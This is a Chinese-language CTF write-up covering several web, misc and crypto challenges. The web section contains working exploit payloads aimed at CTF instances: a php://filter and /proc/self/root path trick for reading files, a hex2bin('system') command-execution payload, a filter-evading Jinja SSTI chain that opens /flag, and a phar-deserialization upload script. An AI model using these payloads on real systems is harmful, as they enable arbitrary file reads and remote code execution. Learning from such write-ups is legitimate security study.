web
phpdest
和wm2020年的题一样
php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中,如果require_once(‘flag.php’),include的文件不运行再通过require_once包含。
通过知识点:/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接,利用伪协议配合多级符号链接的办法进行绕过。
payload
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
解码拿到flag
php源码分析 require_once 绕过不能重复包含文件的限制 - 安全客,安全资讯平台 (anquanke.com)
EasyPHP
应该是要利用报错进入set_error_handler里,传个数组就成功了
SimpleRCE
利用进制编码和通配符绕过
payload
aaa=hex2bin('73797374656d')('uniq /f*');
EasySSTI
用这篇文章里的方法改改就行https://chenlvtang.top/2021/03/31/SSTI%E8%BF%9B%E9%98%B6/
首先用%0a绕过空格的过滤,然后利用{%%}和set绕过关键字,利用pop和()|select|string|list得到下划线,最后就是用__getitem__
构造类似x.__init__.__globals__['__builtins__'].chr 这种payload得到chr和open,猜测flag在根目录下的/flag中,尝试读取
最终payload
username={%set%0apo=dict(po=a,p=a)|join%}{%set%0aa=(()|select|string|list)|attr(po)(24)%}{%set%0aini=(a,a,dict(in=a,it=a)|join,a,a)|join()%}{%set%0aglo=(a,a,dict(gl=a,obals=a)|join,a,a)|join()%}{%set%0ageti=(a,a,dict(getit=a,em=a)|join,a,a)|join()%}{%set%0abuilt=(a,a,dict(bui=a,ltins=a)|join,a,a)|join()%}{%set%0ax=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{%%0aset%0ach=dict(ch=a,r=a)|join%}{%set%0ax=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{%set%0achr=(x|attr(geti))(ch)%}{%set%0afile=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}{%%0aset%0aop=dict(ope=a,n=a)|join%}{%set%0aopen=(x|attr(geti))(op)%}{%%0aset%0are=dict(re=a,ad=a)|join%}{%print(open(file)|attr(re)())%}&password=x
PharPOP
<?php
highlight_file(__FILE__);
function waf($data){
if (is_array($data)){
die("Cannot transfer arrays");
}
if (preg_match('/get|air|tree|apple|banana|php|filter|base64|rot13|read|data/i', $data)) {
die("You can't do");
}
}
class air{
public $p;
public function __set($p, $value) {
$p = $this->p->act;
echo new $p($value);
}
}
class tree{
public $name;
public $act;
public function __destruct() {
return $this->name();
}
public function __call($name, $arg){
$arg[1] =$this->name->$name;
}
}
class apple {
public $xxx;
public $flag;
public function __get($flag)
{
$this->xxx->$flag = $this->flag;
}
}
class D {
public $start;
public function __destruct(){
$data = $_POST[0];
if ($this->start == 'w') {
waf($data);
$filename = "/tmp/".md5(rand()).".jpg";
file_put_contents($filename, $data);
echo $filename;
} else if ($this->start == 'r') {
waf($data);
$f = file_get_contents($data);
if($f){
echo "It is file";
}
else{
echo "You can look at the others";
}
}
}
}
class banana {
public function __get($name){
return $this->$name;
}
}
// flag in /
if(strlen($_POST[1]) < 55) {
$a = unserialize($_POST[1]);
}
else{
echo "str too long";
}
throw new Error("start");
?>
题目很明显是要先post参数1去调用D类里的file_put_content,然后写入我们的phar文件,再通过file_get_content去访问phar文件来实现反序列化,从air类里的echo new $p($value);
也能看出这里要用原生类来读目录和文件。
链子很简单,就不说了。这里主要的难度是绕过最后的throw new Error("start");
语句,如果想利用destruct方法反序列化会因为最后的抛出错误的语句导致程序提前结束,所以这里要利用unset来绕过最后的错误,让反序列化成功进行
具体的步骤看这个
[phar反序列化][NSSCTF]prize_p1_Snakin_ya的博客-CSDN博客
所以写文件时:
参数1:
O:1:"D":2:{s:5:"start";s:1:"w";s:4:"star";O:1:"D":1:N}
参数0:
生成phar文件之后在010里进行修改(这是读文件的phar,读目录的时候忘了截图被覆盖了
然后修改签名
from hashlib import sha1
file = open('../php/NSSCTF prize_p1/ars.phar', 'rb').read()
text = file[:-28] #读取开始到末尾除签名外内容
last = file[-8:] #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last #生成新的文件内容,主要是此时sha1正确了。
open('reaflag2.phar', 'wb').write(new_file)
达到调用unset的目的
然后要绕过代码中的waf,可以对phar文件进行压缩,原理可以看这个https://www.anquanke.com/post/id/240007#h2-5
再利用python脚本上传文件
import request
url = 'http://8bfdc886-3097-4a19-978d-9a417e256662.node4.buuoj.cn:81/'
res = requests.post(
url,
data={
1: 'O:1:"D":2:{s:5:"start";s:1:"w";s:4:"star";O:1:"D":1:N}',
0: open('./reaflag2.phar.gz', 'rb').read()
}
) # 写入
print(res.text)
得到上传地址之后利用phar协议访问一下就行。
改phar内容的时候不能用txt,上传也不能用burp,这两个卡了我好久。。。
MISC
Welcome to fxxking DestCTF
纯签到
Pngenius
图片里有个压缩包,分离出来之后发现需要密码,猜测密码也在图片里,zsteg跑一遍
拿到密码,打开压缩包找到flag
EasyEncode
爆破跑密码
里面是摩斯密码,解码之后是一大串数字
5 C 7 5 3 0 3 0 3 5 3 2 5 C 7 5 3 0 3 0 3 4 3 7 5 C 7 5 3 0 3 0 3 5 3 6 5 C 7 5 3 0 3 0 3 7 6 1 5 C 7 5 3 0 3 0 3 6 3 4 5 C 7 5 3 0 3 0 3 4 3 4 5 C 7 5 3 0 3 0 3 4 3 2 5 C 7 5 3 0 3 0 3 6 6 5 5 C 7 5 3 0 3 0 3 4 6 4 5 C 7 5 3 0 3 0 3 3 3 3 5 C 7 5 3 0 3 0 3 7 3 4 5 C 7 5 3 0 3 0 3 4 3 5 5 C 7 5 3 0 3 0 3 5 6 1 5 C 7 5 3 0 3 0 3 5 3 7 5 C 7 5 3 0 3 0 3 3 3 9 5 C 7 5 3 0 3 0 3 6 6 2 5 C 7 5 3 0 3 0 3 6 3 1 5 C 7 5 3 0 3 0 3 5 3 7 5 C 7 5 3 0 3 0 3 3 3 5 5 C 7 5 3 0 3 0 3 6 6 5 5 C 7 5 3 0 3 0 3 5 3 8 5 C 7 5 3 0 3 0 3 7 6 1 5 C 7 5 3 0 3 0 3 4 3 6 5 C 7 5 3 0 3 0 3 7 6 1 5 C 7 5 3 0 3 0 3 5 3 8 5 C 7 5 3 0 3 0 3 3 3 2 5 C 7 5 3 0 3 0 3 5 3 5 5 C 7 5 3 0 3 0 3 3 3 0 5 C 7 5 3 0 3 0 3 6 3 3 5 C 7 5 3 0 3 0 3 3 3 3 5 C 7 5 3 0 3 0 3 6 6 3 5 C 7 5 3 0 3 0 3 6 3 6 5 C 7 5 3 0 3 0 3 4 6 5 5 C 7 5 3 0 3 0 3 4 3 6 5 C 7 5 3 0 3 0 3 3 3 9 5 C 7 5 3 0 3 0 3 5 3 6 5 C 7 5 3 0 3 0 3 6 3 6 5 C 7 5 3 0 3 0 3 5 3 1 5 C 7 5 3 0 3 0 3 2 3 5 5 C 7 5 3 0 3 0 3 3 3 3 5 C 7 5 3 0 3 0 3 4 3 4 5 C 7 5 3 0 3 0 3 2 3 5 5 C 7 5 3 0 3 0 3 3 3 3 5 C 7 5 3 0 3 0 3 4 3 4
复制到010里发现是Unicode编码
Unicode解码发现是base64,再解码得到flag
CRYPTO
babyRSA
已知nce,要求出明文,就要先想办法求出qpd,
利用RsaCtfTool.py进行求解
求公钥
然后再求私钥
最后得到qpd
随便找个rsa脚本套进去就行了
from Crypto.Util.number import long_to_bytes
string = ''
for x in range(1):
c = 14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854
q = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973969401
p = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973971467
n = 27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267
e = 65537
#d = libnum.invmod(e, (p - 1) * (q - 1))
d = 3121448257353397521008122343609193178885723335228834266026969249529973560167730063129299361044338541996643944734161746790345361029496254021234107830835147478445995827602129027084328557873121512535534338680955898684986137612006599528489101993024083016810624261537303995439156771941439694356136703960699682133382027158795284121176051335224541792139301998430867357667228591618159856224671481257868298256833038515716847186893503607277761265884934308680131384025054980116408946675249894376907198506526558779944638834026881901482983419902337359310844362781386068641635065060468067278449010820146945870895885764387716082673
m = pow(c, d, n)
string += str(long_to_bytes(m),'utf-8')
print(string)
babyAES
这个怎么说呢。。。确实很简单
只要把给的值带进去然后把加密改成解密就行了
ezDLP
离散对数问题
直接用sage求就行
然后将结果转成十六进制再转换成字符
ezStream
0xGame2021有个差不多的,直接抄一下现成的脚本
from Crypto.Util.number import *
base = pow(2,32)
i = 104984523
a = 3939333498
b = 3662432446
m = 2271373817
state1 = 17362
state2 = 20624
# while i <= base:
# # print(i)
# if ((a*i+b)%m)>>16 == state1 and ((((a*i+b)%m)*a+b)%m)>>16 == state2:
# print('find it',i)
# break
# i+=1
seed = 104984523
#
class LCG:
def __init__(self):
self.a = a
self.b = b
self.m = m
self.seed = 104984523
def next(self):
self.seed = (self.a * self.seed + self.b) % self.m
return self.seed >> 16
def output(self):
print("a = {}\nb = {}\nm = {}".format(self.a, self.b, self.m))
print("state1 = {}".format(self.next()))
print("state2 = {}".format(self.next()))
lcg = LCG()
lcg.output()
flag = long_to_bytes('600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878').decode()
c = b''.join([long_to_bytes(ord(flag[i]) ^ (lcg.next() % 10))
for i in range(len(flag))])
print(c)
利用注释的那段爆出seed的值,然后带进去就行